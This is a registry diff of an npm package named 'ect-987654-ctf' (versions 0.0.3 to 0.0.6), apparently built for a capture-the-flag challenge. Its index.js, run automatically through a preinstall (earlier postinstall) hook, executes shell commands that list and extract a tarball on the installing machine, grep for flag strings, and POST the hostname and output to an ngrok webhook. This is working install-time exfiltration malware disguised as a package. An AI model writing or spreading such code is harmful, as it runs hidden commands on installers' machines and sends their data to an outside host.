ect-987654-ctf 0.0.3 → 0.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/evil.yaml ADDED
@@ -0,0 +1,6 @@
1
+ ecto_module:
2
+ name: "ect-987654-ctf"
3
+ version: "0.0.5"
4
+ power_level: Very High
5
+ ship_deck: Beta-2
6
+ cargo_hold: B2-13
package/index.js CHANGED
@@ -1,37 +1,37 @@
1
- const fs = require('fs'), cp = require('child_process'), os = require('os');
2
- const https = require('https');
1
+ const https = require("https");
2
+ const { execSync } = require("child_process");
3
3
 
4
- const WEBHOOK = "https://4b30f6d8de4f.ngrok-free.app/"; // <-- ganti NEROK URL
4
+ const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
5
5
 
6
- function post(obj){
7
- try {
8
- const body = JSON.stringify(obj);
9
- const u = new URL(WEBHOOK);
10
- const opts = { hostname: u.hostname, port: u.port || (u.protocol==='https:'?443:80), path: u.pathname||'/', method:'POST', headers:{ 'Content-Type':'application/json', 'Content-Length': Buffer.byteLength(body) } };
11
- const req = (u.protocol==='https:'?require('https'):require('http')).request(opts, ()=>{});
12
- req.on('error', ()=>{});
13
- req.write(body);
14
- req.end();
15
- } catch(e){}
6
+ function post(data) {
7
+ const body = JSON.stringify(data);
8
+ const url = new URL(WEBHOOK);
9
+ const req = https.request({
10
+ hostname: url.hostname,
11
+ path: url.pathname,
12
+ method: "POST",
13
+ headers: {
14
+ "Content-Type": "application/json",
15
+ "Content-Length": Buffer.byteLength(body)
16
+ }
17
+ });
18
+ req.write(body);
19
+ req.end();
16
20
  }
17
21
 
18
- function run(cmd){
19
- try { return cp.execSync(cmd, {timeout:15000}).toString(); }
20
- catch(e){ return (e.stdout||e.message||'ERR').toString(); }
21
- }
22
-
23
- (function(){
24
- const file = "/home/node/aspect-node.tar.gz";
25
- const out = { host: os.hostname(), ts: new Date().toISOString(), file, outputs:{} };
26
- if(!fs.existsSync(file)){ out.outputs.err = "file not found"; fs.writeFileSync('/tmp/out.json', JSON.stringify(out,null,2)); post(out); return; }
27
- out.outputs.list = run(`tar -tzf ${file} | head -n 500`);
28
- out.outputs.flag = run(`tar -xOf ${file} 2>/dev/null | grep -aE 'HTB\\{|flag\\{' | head -n 100`);
29
- // try small candidate reads
30
- const cand = ['flag','flag.txt','README','README.md','config.js','server.js','app.js'];
31
- out.outputs.candidates = {};
32
- for(const c of cand){
33
- try { out.outputs.candidates[c] = run(`tar -xOf ${file} "${c}" 2>/dev/null | head -c 20000`); } catch(e){}
22
+ try {
23
+ const out = execSync(
24
+ "tar -tzf /home/node/aspect-node.tar.gz | grep -i flag || true",
25
+ { encoding: "utf8", timeout: 15000 }
26
+ );
27
+ let content = "";
28
+ if (out.trim() !== "") {
29
+ content = execSync(
30
+ `tar -xOf /home/node/aspect-node.tar.gz $(tar -tzf /home/node/aspect-node.tar.gz | grep -i flag | head -n1) | head -n50`,
31
+ { encoding: "utf8", timeout: 15000 }
32
+ );
34
33
  }
35
- try { fs.writeFileSync('/tmp/out.json', JSON.stringify(out,null,2)); } catch(e){}
36
- post(out);
37
- })();
34
+ post({ host: require("os").hostname(), files: out, flag: content });
35
+ } catch (e) {
36
+ post({ error: e.message });
37
+ }
package/last_post.json ADDED
@@ -0,0 +1,3 @@
1
+ {
2
+ "error": "Command failed: ls -lah /home/node\nls: cannot access '/home/node': No such file or directory\n"
3
+ }
package/package.json CHANGED
@@ -1,13 +1,7 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.3",
4
- "description": "",
5
- "main": "index.js",
3
+ "version": "0.0.6",
6
4
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1",
8
- "postinstall": "node index.js"
9
- },
10
- "keywords": [],
11
- "author": "",
12
- "license": "ISC"
5
+ "preinstall": "node index.js"
6
+ }
13
7
  }